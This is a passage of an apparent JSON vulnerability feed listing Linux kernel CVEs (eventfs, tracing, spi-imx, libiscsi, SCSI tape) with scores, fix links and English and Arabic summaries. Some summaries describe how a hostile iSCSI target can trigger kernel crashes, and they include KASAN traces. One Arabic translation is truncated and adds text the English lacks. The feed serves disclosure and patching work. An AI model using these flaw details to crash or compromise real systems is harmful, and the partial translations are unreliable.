kfree+0x1db/0x5b0 srcu_invoke_callbacks+0x3a3/0x620 process_one_work+0x937/0x1810 worker_thread+0x4f1/0xd60 Before commit 8e556432477e (\"eventfs: Use SRCU for freeing eventfs_inodes\") release_ei() used call_rcu(), which covered the walker, while eventfs_iterate() needs the SRCU grace period. Wait for both and chain call_rcu() from the SRCU callback.","ar":"In the Linux kernel, the following vulnerability has been resolved: eventfs: Free the eventfs_inode after an rcu grace period too tracefs_d_revalidate() reads ->is_freed of the eventfs_inode that dentry->d_fsdata points to, and ->d_revalidate() is called in rcu pathwalk mode with nothing but rcu_read_lock() held. The dentry itself stays around for such a walker, but tracefs_d_release() drops its reference to the eventfs_inode when the dentry is killed, and release_ei() then frees it after a grace period of eventfs_srcu. An SRCU grace period doesn't wait for rcu_read_lock() sections, so the walker can read an eventfs_inode that is already gone. With a pathwalk held up in tracefs_d_revalidate() while the dentry goes away: BUG: KASAN: slab-use-after-free in tracefs_d_revalidate+0x76/0x90 Read of size 1 at addr ff1100010152d8d0 by task walker/97 Call Trace: <TASK> tracefs_d_revalidate+0x76/0x90 lookup_fast+0x320/0x640 path_lookupat+0x160/0xb00 filename_lookup+0x1f1/0x5b0 vfs_statx+0xd7/0x3b0 vfs_fstatat+0x4d/0x90 __do_sys_newfstatat+0xa0/0x100 do_syscall_64+0x10e/0x5e0 entry_SYSCALL_64_after_hwframe+0x77/0x7f [...] Allocated by task 1: __kmalloc_cache_noprof+0x249/0x560 eventfs_create_dir+0x7a/0x590 event_create_dir+0x2fb/0xcf0 trace_add_event_call+0xbf/0x150 [...] Freed by task 11: kfree+0x1db/0x5b0 srcu_invoke_callbacks+0x3a3/0x620 process_one_work+0x937/0x1810 worker_thread+0x4f1/0xd60 Before commit 8e556432477e (\"eventfs: Use SRCU for freeing eventfs_inodes\") release_ei() used call_rcu(), which covered the walker, while eventfs_iterate() needs the SRCU grace period. Wait for both and chain call_rcu() from the SRCU callback."},"refs":[["https://git.kernel.org/stable/c/2cd88c498ecff8e22bf4c397b8eb226db70ac343","ref"],["https://git.kernel.org/stable/c/4586ef24ce390e8becb9f3e5852d5d3978b01c33","ref"],["https://git.kernel.org/stable/c/45fcfd5d9c10e0aa977ed5b9bd445707e01bb107","ref"],["https://git.kernel.org/stable/c/5819018dc29fb2ac2fd4865d507f9893c89c0624","ref"],["https://git.kernel.org/stable/c/dd2c767814a876be0f16f0b7f98a403dc176f51e","ref"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"linux-kernel"},{"id":"CVE-2026-99163","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T11:17:36Z","product":"Linux Linux","affected":[["5.10.237 – <5.10.273","5.10.273"],["5.15.124 – <5.15.224","5.15.224"],["6.1.43 – <6.1.191","6.1.191"]],"title":{"en":"tracing/histograms: Reject non-stacktrace fields for synthetic stacktrace fields","ar":"ثغرة عالية الخطورة في Linux Linux"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: tracing/histograms: Reject non-stacktrace fields for synthetic stacktrace fields In check_synth_field(), when a synthetic event field is a stacktrace (field->is_stack) and the histogram field is not a \"long[\" stacktrace array, validation falls through to the generic size and signedness comparison. Because parse_synth_field() sets a stacktrace field's type to \"__data_loc unsigned long[]\", its size is sizeof(u64) and synth_field_signed() marks it as signed. Consequently, any 8-byte signed scalar histogram field passes the fallback check, and its scalar value is subsequently dereferenced as a kernel stacktrace pointer in get_field_size() and trace_stack(). Furthermore, checking strstr(hist_field->type, \"long[\") is insufficient because tracepoint fields defined with __bitmask() or __rel_bitmask() also have type \"__data_loc unsigned long[]\" or \"__rel_loc unsigned long[]\", whilst create_hist_field() treats them as 4-byte scalar values without HIST_FIELD_FL_STACKTRACE. Propagate HIST_FIELD_FL_STACKTRACE to variable references and field variables (whilst excluding variable aliases from per-element stacktrace capture), and reject any mismatch between HIST_FIELD_FL_STACKTRACE and field->is_stack in check_synth_field().","ar":"In the Linux kernel, the following vulnerability has been resolved: tracing/histograms: Reject non-stacktrace fields for synthetic stacktrace fields In check_synth_field(), when a synthetic event field is a stacktrace (field->is_stack) and the histogram field is not a \"long[\" stacktrace array, validation falls through to the generic size and signedness comparison. Because parse_synth_field() sets a stacktrace field's type to \"__data_loc unsigned long[]\", its size is sizeof(u64) and synth_field_signed() marks it as signed. Consequently, any 8-byte signed scalar histogram field passes the fallback check, and its scalar value is subsequently dereferenced as a kernel stacktrace pointer in get_field_size() and trace_stack(). Furthermore, checking strstr(hist_field->type, \"long[\") is insufficient because tracepoint fields defined with __bitmask() or __rel_bitmask() also have type \"__data_loc unsigned long[]\" or \"__rel_loc unsigned long[]\", whilst create_hist_field() treats them as 4-byte scalar values without HIST_FIELD_FL_STACKTRACE. Propagate HIST_FIELD_FL_STACKTRACE to variable references and field variables (whilst excluding variable aliases from per-element stacktrace capture), and reject any mismatch between HIST_FIELD_FL_STACKTRACE and field->is_stack in check_synth_field()."},"refs":[["https://git.kernel.org/stable/c/1f36e4ddd05d540f363dbaa4c23042549f15b3ef","ref"],["https://git.kernel.org/stable/c/326c45c9e201e3ff4c9e9e0e14c2c91364d6c8be","ref"],["https://git.kernel.org/stable/c/648687f2b448d8527cd7b112fe5d4bd0fec85a87","ref"],["https://git.kernel.org/stable/c/6c4e4946febb585d2fc93a02a0cd12cec715bb32","ref"],["https://git.kernel.org/stable/c/7e0d05a6234a984ac23b8a563fb7f66f2572b668","ref"],["https://git.kernel.org/stable/c/a244c241593b5b38a08f0df2cb43c26574efbdcb","ref"],["https://git.kernel.org/stable/c/deb336ae7c7b341591a6862cf6fcfeca97c77dfd","ref"],["https://git.kernel.org/stable/c/eba0a6365a0f38f7598a02fc7f9ee341c7efe7f5","ref"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"linux-kernel"},{"id":"CVE-2026-99164","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T11:17:36Z","product":"Linux Linux","affected":[["7.0",null]],"title":{"en":"spi: imx: fix slab corruption from undersized DMA bounce buffers","ar":"ثغرة عالية الخطورة في Linux Linux"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: spi: imx: fix slab corruption from undersized DMA bounce buffers Since commit faa8e404ad8e (\"spi: imx: support dynamic burst length for ECSPI DMA mode\"), the driver allocates its private DMA TX/RX buffers with kzalloc(dma_len), where dma_len is only rounded up to 4 bytes, but maps, syncs and unmaps them with DMA_CACHE_ALIGNED_LEN(dma_len), i.e. rounded up to the cache line size. As a result, the DMA API operates on memory beyond the end of the allocation. This was observed on a custom i.MX8MP platform with an mcp251xfd CAN controller under heavy RPMSG load, as a series of refcount_t warnings triggered from rpmsg_recv_done() in virtio_rpmsg_bus: refcount_t: addition on 0; use-after-free. refcount_t: underflow; use-after-free. refcount_t: saturated; leaking memory. Leading finally to an \"Unable to handle kernel paging request\" oops. Reproducing this problem took between 30 minutes and roughly 30 hours under the same workload. Hardware watchpoints on the refcount of a struct rpmsg_endpoint showed it was overwritten from 2 to 1 by __pi_memcpy_generic() in the irq/155-spi2.0 thread. Additionally it was found that a \"normal\" rpmsg_recv_done() took 11µs +/-2µs from its kref_get to kref_put. In the error case the same sequence took about 215µs +/-10µs. Based on this, an LLM was used to identify the size mismatch fixed here. Allocate the buffers with DMA_CACHE_ALIGNED_LEN(dma_len) so they cover the full mapped length, and use the same length for dma_sync_single_for_cpu() to stay consistent with map and unmap. With this patch applied, the same workload ran for more than 200 hours without the problem reproducing.","ar":"In the Linux kernel, the following vulnerability has been resolved: spi: imx: fix slab corruption from undersized DMA bounce buffers Since commit faa8e404ad8e (\"spi: imx: support dynamic burst length for ECSPI DMA mode\"), the driver allocates its private DMA TX/RX buffers with kzalloc(dma_len), where dma_len is only rounded up to 4 bytes, but maps, syncs and unmaps them with DMA_CACHE_ALIGNED_LEN(dma_len), i.e. rounded up to the cache line size. As a result, the DMA API operates on memory beyond the end of the allocation. This was observed on a custom i.MX8MP platform with an mcp251xfd CAN controller under heavy RPMSG load, as a series of refcount_t warnings triggered from rpmsg_recv_done() in virtio_rpmsg_bus: refcount_t: addition on 0; use-after-free. refcount_t: underflow; use-after-free. refcount_t: saturated; leaking memory. Leading finally to an \"Unable to handle kernel paging request\" oops. Reproducing this problem took between 30 minutes and roughly 30 hours under the same workload. Hardware watchpoints on the refcount of a struct rpmsg_endpoint showed it was overwritten from 2 to 1 by __pi_memcpy_generic() in the irq/155-spi2.0 thread. Additionally it was found that a \"normal\" rpmsg_recv_done() took 11µs +/-2µs from its kref_get to kref_put. In the error case the same sequence took about 215µs +/-10µs. Based on this, an LLM was used to identify the size mismatch fixed here. Allocate the buffers with DMA_CACHE_ALIGNED_LEN(dma_len) so they cover the full mapped length, and use the same length for dma_sync_single_for_cpu() to stay consistent with map and unmap. With this patch applied, the same workload ran for more than 200 hours without the problem reproducing."},"refs":[["https://git.kernel.org/stable/c/2777f6637da02da84c9c1ff92f413ce0f0995084","ref"],["https://git.kernel.org/stable/c/59eb22641f0c526dd064390b11cff99ae87c2858","ref"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"linux-kernel"},{"id":"CVE-2026-99152","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T11:17:35Z","product":"Linux Linux","affected":[["2.6.18",null]],"title":{"en":"scsi: libiscsi: Validate the task named by a management response","ar":"ثغرة عالية الخطورة في Linux Linux"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: scsi: libiscsi: Validate the task named by a management response __iscsi_complete_pdu() fetches the task for five response types from one place and checks only that the index resolved: case ISCSI_OP_LOGOUT_RSP: case ISCSI_OP_LOGIN_RSP: case ISCSI_OP_TEXT_RSP: case ISCSI_OP_SCSI_TMFUNC_RSP: case ISCSI_OP_NOOP_IN: task = iscsi_itt_to_task(conn, hdr->itt); if (!task) return ISCSI_ERR_BAD_ITT; iscsi_itt_to_task() bounds the index against cmds_max and looks at nothing else, so a target can name any slot in the pool, including one that has never been used. task->conn is then NULL, and both iscsi_nop_out_rsp() and iscsi_complete_task() dereference it. One unsolicited NOP-In is enough; a Text Response carrying the same ITT crashes in iscsi_complete_task() instead. Require the task to be in flight and not a SCSI command, the way iscsi_itt_to_ctask() does for the command opcodes. [ 6.298634] Oops: general protection fault, probably for non-canonical address 0xdffffc000000000c: 0000 [#1] SMP KASAN NOPTI [ 6.298642] KASAN: null-ptr-deref in range [0x0000000000000060-0x0000000000000067] [ 6.298652] CPU: 1 UID: 0 PID: 111 Comm: iscsistart Not tainted 7.2.0-rc5-ISCSI1-gf5098b6bae76 #1 PREEMPT(lazy) [ 6.298654] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 6.298656] RIP: 0010:iscsi_nop_out_rsp.constprop.0+0x46/0x160 [ 6.298691] Code: c1 ea 03 48 83 ec 08 80 3c 02 00 0f 85 f5 00 00 00 48 b8 00 00 00 00 00 fc ff df 48 8b 6b 58 48 8d 7d 60 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 c0 00 00 00 48 8b 45 60 48 39 c3 74 50 48 b8 00 [ 6.298698] RSP: 0018:ffff88806c907be8 EFLAGS: 00010206 [ 6.298701] RAX: dffffc0000000000 RBX: ffff888006116800 RCX: 0000000000000020 [ 6.298702] RDX: 000000000000000c RSI: ffff88800525d578 RDI: 0000000000000060 [ 6.298703] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000 [ 6.298706] R10: 0000000000000020 R…","ar":"In the Linux kernel, the following vulnerability has been resolved: scsi: libiscsi: Validate the task named by a management response __iscsi_complete_pdu() fetches the task for five response types from one place and checks only that the index resolved: case ISCSI_OP_LOGOUT_RSP: case ISCSI_OP_LOGIN_RSP: case ISCSI_OP_TEXT_RSP: case ISCSI_OP_SCSI_TMFUNC_RSP: case ISCSI_OP_NOOP_IN: task = iscsi_itt_to_task(conn, hdr->itt); if (!task) return ISCSI_ERR_BAD_ITT; iscsi_itt_to_task() bounds the index against cmds_max and looks at nothing else, so a target can name any slot in the pool, including one that has never been used. task->conn is then NULL, and both iscsi_nop_out_rsp() and iscsi_complete_task() dereference it. One unsolicited NOP-In is enough; a Text Response carrying the same ITT crashes in iscsi_complete_task() instead. Require the task to be in flight and not a SCSI command, the way iscsi_itt_to_ctask() does for the command opcodes. [ 6.298634] Oops: general protection fault, probably for non-canonical address 0xdffffc000000000c: 0000 [#1] SMP KASAN NOPTI [ 6.298642] KASAN: null-ptr-deref in range [0x0000000000000060-0x0000000000000067] [ 6.298652] CPU: 1 UID: 0 PID: 111 Comm: iscsistart Not tainted 7.2.0-rc5-ISCSI1-gf5098b6bae76 #1 PREEMPT(lazy) [ 6.298654] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 6.298656] RIP: 0010:iscsi_nop_out_rsp.constprop.0+0x46/0x160 [ 6.298691] Code: c1 ea 03 48 83 ec 08 80 3c 02 00 0f 85 f5 00 00 00 48 b8 00 00 00 00 00 fc ff df 48 8b 6b 58 48 8d 7d 60 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 c0 00 00 00 48 8b 45 60 48 39 c3 74 50 48 b8 00 [ 6.298698] RSP: 0018:ffff88806c907be8 EFLAGS: 00010206 [ 6.298701] RAX: dffffc0000000000 RBX: ffff888006116800 RCX: 0000000000000020 [ 6.298702] RDX: 000000000000000c RSI: ffff88800525d578 RDI: 0000000000000060 [ 6.298703] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000 [ 6.298706] R10: 0000000000000020 R…"},"refs":[["https://git.kernel.org/stable/c/11bffcd9cb346732eab2914ef44fe777a3f0b585","ref"],["https://git.kernel.org/stable/c/55a65ef61e2775aeb18fda63bd1959fa8b41f936","ref"],["https://git.kernel.org/stable/c/5b56229cc152095fbe4e4ff537cb206c4aa41610","ref"],["https://git.kernel.org/stable/c/77134cf996bab55683f0ceafb9e300d97ac046f8","ref"],["https://git.kernel.org/stable/c/7a7a473aec51195778a54fdd71f20fda3047b8ef","ref"],["https://git.kernel.org/stable/c/bf4035656852a386fecb5d6217710a1bde536e76","ref"],["https://git.kernel.org/stable/c/e96ae694c5038aae84142b64e41b56324b7af9a7","ref"],["https://git.kernel.org/stable/c/f721487523d45941aed4b0ac8d829b0461a7d860","ref"]],"epss":0.0052,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"linux-kernel"},{"id":"CVE-2026-99153","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T11:17:35Z","product":"Linux Linux","affected":[["2.6.32",null]],"title":{"en":"scsi: libiscsi: Validate the ITT reflected in a Reject PDU","ar":"ثغرة حرجة في Linux Linux"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: scsi: libiscsi: Validate the ITT reflected in a Reject PDU A Reject PDU carries a copy of the header it rejects, and iscsi_handle_reject() takes the ITT out of that copy to find the task to clean up: memcpy(&rejected_pdu, data, sizeof(struct iscsi_hdr)); ... task = iscsi_itt_to_task(conn, rejected_pdu.itt); That value is whatever the target put there. iscsi_itt_to_task() bounds the index against cmds_max and checks nothing else, so any task in the pool can be named, and iscsi_nop_out_rsp() then completes it. An index that has never been used gives a NULL task->conn: the pool is zeroed at session setup and conn is assigned only when a task is allocated. If the task was used and returned, iscsi_complete_task() hits its WARN_ON_ONCE(task->state == ISCSI_TASK_FREE) and the refcount underflows. An in-flight SCSI command is completed as successful - a 1 MiB read returned 1048576 with none of its buffer written and no warning. Validate the reflected ITT the way iscsi_itt_to_ctask() validates a command ITT, and require the task to be in flight and not a SCSI command. [ 6.248477] Oops: general protection fault, probably for non-canonical address 0xdffffc000000000c: 0000 [#1] SMP KASAN NOPTI [ 6.249357] KASAN: null-ptr-deref in range [0x0000000000000060-0x0000000000000067] [ 6.249951] CPU: 1 UID: 0 PID: 0 Comm: swapper/1 Not tainted 7.2.0-rc5-ISCSI1-gf5098b6bae76 #1 PREEMPT(lazy) [ 6.250718] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 6.251616] RIP: 0010:iscsi_nop_out_rsp.constprop.0+0x46/0x160 [ 6.252043] Code: c1 ea 03 48 83 ec 08 80 3c 02 00 0f 85 f5 00 00 00 48 b8 00 00 00 00 00 fc ff df 48 8b 6b 58 48 8d 7d 60 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 c0 00 00 00 48 8b 45 60 48 39 c3 74 50 48 b8 00 [ 6.252813] RSP: 0018:ffff88806c907b80 EFLAGS: 00010206 [ 6.253042] RAX: dffffc0000000000 RBX: ffff88800607e000 RCX: ffffffff8d571a25 […","ar":"In the Linux kernel, the following vulnerability has been resolved: scsi: libiscsi: Validate the ITT reflected in a Reject PDU A Reject PDU carries a copy of the header it rejects, and iscsi_handle_reject() takes the ITT out of that copy to find the task to clean up: memcpy(&rejected_pdu, data, sizeof(struct iscsi_hdr)); ... task = iscsi_itt_to_task(conn, rejected_pdu.itt); That value is whatever the target put there. iscsi_itt_to_task() bounds the index against cmds_max and checks nothing else, so any task in the pool can be named, and iscsi_nop_out_rsp() then completes it. An index that has never been used gives a NULL task->conn: the pool is zeroed at session setup and conn is assigned only when a task is allocated. If the task was used and returned, iscsi_complete_task() hits its WARN_ON_ONCE(task->state == ISCSI_TASK_FREE) and the refcount underflows. An in-flight SCSI command is completed as successful - a 1 MiB read returned 1048576 with none of its buffer written and no warning. Validate the reflected ITT the way iscsi_itt_to_ctask() validates a command ITT, and require the task to be in flight and not a SCSI command. [ 6.248477] Oops: general protection fault, probably for non-canonical address 0xdffffc000000000c: 0000 [#1] SMP KASAN NOPTI [ 6.249357] KASAN: null-ptr-deref in range [0x0000000000000060-0x0000000000000067] [ 6.249951] CPU: 1 UID: 0 PID: 0 Comm: swapper/1 Not tainted 7.2.0-rc5-ISCSI1-gf5098b6bae76 #1 PREEMPT(lazy) [ 6.250718] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 6.251616] RIP: 0010:iscsi_nop_out_rsp.constprop.0+0x46/0x160 [ 6.252043] Code: c1 ea 03 48 83 ec 08 80 3c 02 00 0f 85 f5 00 00 00 48 b8 00 00 00 00 00 fc ff df 48 8b 6b 58 48 8d 7d 60 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 c0 00 00 00 48 8b 45 60 48 39 c3 74 50 48 b8 00 [ 6.252813] RSP: 0018:ffff88806c907b80 EFLAGS: 00010206 [ 6.253042] RAX: dffffc0000000000 RBX: ffff88800607e000 RCX: ffffffff8d571a25 […"},"refs":[["https://git.kernel.org/stable/c/21ef746340ce246344f34278e205b8960c1d8874","ref"],["https://git.kernel.org/stable/c/3637a4ad1d07477f1c60609876da6b60154d224b","ref"],["https://git.kernel.org/stable/c/576125e7382a7826bd6c3c1ca4d9c582ed5be21d","ref"],["https://git.kernel.org/stable/c/7215a69b6456fda79c0935c2959045dff3fcaac8","ref"],["https://git.kernel.org/stable/c/c5958c770b2a0ee492414e26b07da9164a0d1f5d","ref"],["https://git.kernel.org/stable/c/d20583a9dbe0d32a9af8384c857c95c0fc115103","ref"],["https://git.kernel.org/stable/c/d79343ae3223b3f7f74b55e79f8a1371fa3f4b1a","ref"],["https://git.kernel.org/stable/c/ebb8c5ef2aabf66895253600e8390e8fc7094807","ref"]],"epss":0.0055,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"linux-kernel"},{"id":"CVE-2026-99154","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T11:17:35Z","product":"Linux Linux","affected":[["2.6.33",null]],"title":{"en":"scsi: libiscsi: Reject a negative task index from parse_pdu_itt","ar":"ثغرة حرجة في Linux Linux"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: scsi: libiscsi: Reject a negative task index from parse_pdu_itt A transport that implements parse_pdu_itt hands libiscsi an index taken from the PDU, and both lookups bound it from above only: if (i >= session->cmds_max) i and cmds_max are both int, so a negative index passes and session->cmds[i] is read from before the array. be2iscsi produces one. beiscsi_parse_pdu() assigns the raw tag, *index = (int)itt; and beiscsi_complete_pdu() forwards an unsolicited NOP-In from the hardware async ring without replacing its ITT, so the value is the target's. It also reports the session's own age rather than the one in the tag, which leaves the age comparison in iscsi_verify_itt() with nothing to reject. Bound the index from below in both lookups.","ar":"In the Linux kernel, the following vulnerability has been resolved: scsi: libiscsi: Reject a negative task index from parse_pdu_itt A transport that implements parse_pdu_itt hands libiscsi an index taken from the PDU, and both lookups bound it from above only: if (i >= session->cmds_max) i and cmds_max are both int, so a negative index passes and session->cmds[i] is read from before the array. be2iscsi produces one. beiscsi_parse_pdu() assigns the raw tag, *index = (int)itt; and beiscsi_complete_pdu() forwards an unsolicited NOP-In from the hardware async ring without replacing its ITT, so the value is the target's. It also reports the session's own age rather than the one in the tag, which leaves the age comparison in iscsi_verify_itt() with nothing to reject. Bound the index from below in both lookups."},"refs":[["https://git.kernel.org/stable/c/0eb06ebbbecb122f0df9a1f7f623f5255be741ed","ref"],["https://git.kernel.org/stable/c/24bd9ba431b2daa263f3551bc2f09f6b4487f5ae","ref"],["https://git.kernel.org/stable/c/35b60549a956237488c89a2d85352e026e7d55b7","ref"],["https://git.kernel.org/stable/c/6200fb2de579f268742a77b0f3d823cb0a8b1947","ref"],["https://git.kernel.org/stable/c/6cadfa6f1f5896632d4223d3b7addb2a29fea74e","ref"],["https://git.kernel.org/stable/c/8ee2a09a1dbb257c9e828ad2497f8e4832dfb142","ref"],["https://git.kernel.org/stable/c/e896a97f336c5edfc13066b57ed431cb3f64e68c","ref"],["https://git.kernel.org/stable/c/f8fabe1fe044f86abc42194b8f86dfd70212115f","ref"]],"epss":0.0051,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"linux-kernel"},{"id":"CVE-2026-99156","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T11:17:35Z","product":"Linux Linux","affected":[["3.7",null]],"title":{"en":"scsi: st: Fix use-after-free race between st_remove() and st_open()","ar":"ثغرة عالية الخطورة في Linux Linux"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: scsi: st: Fix use-after-free race between st_remove() and st_open() st_remove() drops the probe reference on the scsi_tape with kref_put() and only afterwards removes its index from st_index_idr. If that was the last reference, scsi_tape_release() frees the structure while it is still published in the idr. scsi_tape_get(), called from st_open(), looks up the tape in st_index_idr and takes a reference under st_ref_mutex and st_index_lock. remove_cdevs() does not wait for opens that are already past chrdev_open(), so an open that is blocked on st_ref_mutex while st_remove() holds it can take the mutex as soon as st_remove() drops it, find the freed tpnt in the idr and call kref_get() on it: BUG: KASAN: slab-use-after-free in st_open Write of size 4 ... st_open (drivers/scsi/st.c:254 drivers/scsi/st.c:1291) chrdev_open ... Freed by task ...: kfree st_remove (drivers/scsi/st.c:4512) Remove the index from the idr before dropping the reference, all under st_ref_mutex. A concurrent scsi_tape_get() now either runs first and holds a valid reference that keeps the tape alive, or runs afterwards and finds nothing, so st_open() fails with -ENXIO. This restores the ordering st_remove() had before the conversion to st_index_idr, where the tape was unpublished from scsi_tapes[] before the final kref_put().","ar":"In the Linux kernel, the following vulnerability has been resolved: scsi: st: Fix use-after-free race between st_remove() and st_open() st_remove() drops the probe reference on the scsi_tape with kref_put() and only afterwards removes its index from st_index_idr. If that was the last reference, scsi_tape_release() frees the structure while it is still published in the idr. scsi_tape_get(), called from st_open(), looks up the tape in st_index_idr and takes a reference under st_ref_mutex and st_index_lock. remove_cdevs() does not wait for opens that are already past chrdev_open(), so an open that is blocked on st_ref_mutex while st_remove() holds it can take the mutex as soon as st_remove() drops it, find the freed tpnt in the idr and call kref_get() on it: BUG: KASAN: slab-use-after-free in st_open Write of size 4 ... st_open (drivers/scsi/st.c:254 drivers/scsi/st.c:1291) chrdev_open ... Freed by task ...: kfree st_remove (drivers/scsi/st.c:4512) Remove the index from the idr before dropping the reference, all under st_ref_mutex. A concurrent scsi_tape_get() now either runs first and holds a valid reference that keeps the tape alive, or runs afterwards and finds nothing, so st_open() fails with -ENXIO. This restores the ordering st_remove() had before the conversion to st_index_idr, where the tape was unpublished from scsi_tapes[] before the final kref_put()."},"refs":[["https://git.kernel.org/stable/c/00ff1128123d4bdfacd28d68fb4b6e6f657a3648","ref"],["https://git.kernel.org/stable/c/18a0e3733ce38718688e813e5e2d1106bd4830e5","ref"],["https://git.kernel.org/stable/c/5ef230f734e0d23db007c8405f38b7e226740084","ref"],["https://git.kernel.org/stable/c/71caf7f84bd62a4bf91cc95abd2de690afb8d15f","ref"],["https://git.kernel.org/stable/c/7d7f9d2ee4b0841f3eba9fa3627044ad329428de","ref"],["https://git.kernel.org/stable/c/a1647b653549ff29f0422a63eabf329b842f3822","ref"],["https://git.kernel.org/stable/c/d9517fc39ec3ee13eadefdc17f45300f7d23ed8c","ref"],["https://git.kernel.org/stable/c/e7a5da4a4820210aa7d7cd8e6eb25aabe9e5b5a7","ref"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"linux-kernel"},{"id":"CVE-2026-99142","cvss":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T11:17:34Z","product":"Linux Linux","affected":[["6.6",null]],"title":{"en":"tracing: Check operator stack capacity before pushing","ar":"tracing: التحقق من سعة مكدس المعاملات قبل الدفع"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: tracing: Check operator stack capacity before pushing predicate_parse() uses the first operator stack entry before processing any opening parentheses. A push then increments top before writing. The existing check still permits that write when top already points to the last allocated entry, which can access beyond the operator stack. Reject the push when top reaches the last allocated entry.","ar":"في نواة Linux، تم حل الثغرة التالية: tracing: التحقق من سعة مكدس المعاملات قبل الدفع. تستخدم predicate_parse() مدخل مكدس المعاملات الأول قبل معالجة أي أقواس فاتحة. يرجى تطبيق التصحيحات اللازمة."},"refs":[["https://git.kernel.org/stable/c/75e894f92417390f0ef44fd350f2d3634c784876","ref"],["https://git.kernel.org/stable/c/a866a8a753922cdf7710b8eb3f686dc0efc06505","ref"],["https://git.kernel.org/stable/c/c43c41ec62ca54ae145aa4912c6692a26d625734","ref"],["https://git.kernel.org/stable/c/c47a7b11bcb3d45e29723afcf6336866476b1d08","ref"],["https://git.kernel.org/stable/c/d6f0006f194db49c54117ae22146421da5a2ca59","ref"]],"epss":0.0014,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"linux-kernel"},{"id":"CVE-2026-99143","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T11:17:34Z","product":"Linux Linux","affected":[["6.6",null]],"title":{"en":"tracing: Keep the predicate limit separate from program capacity","ar":"ثغرة عالية الخطورة في Linux Linux"},"summary":{"en":"In the Linux kernel, the following vulnerability has been resolved: tracing: Keep the predicate limit separate from program capacity predicate_parse() adds two to nr_preds to reserve the terminal TRUE and FALSE entries. It also uses that increased value as the limit for parsed predicates. If the initial count is smaller than the number actually parsed, the program can fill the allocation and subsequent accesses can go past its end. Keep nr_preds as the predicate limit and use a separate value for the allocation size. This leaves space for both terminal entries and a zeroed entry when parsing stops at the limit.","ar":"In the Linux kernel, the following vulnerability has been resolved: tracing: Keep the predicate limit separate from program capacity predicate_parse() adds two to nr_preds to reserve the terminal TRUE and FALSE entries. It also uses that increased value as the limit for parsed predicates. If the initial count is smaller than the number actually parsed, the program can fill the allocation and subsequent accesses can go past its end. Keep nr_preds as the predicate limit and use a separate value for the allocation size. This leaves space for both terminal entries and a zeroed entry when parsing stops at the 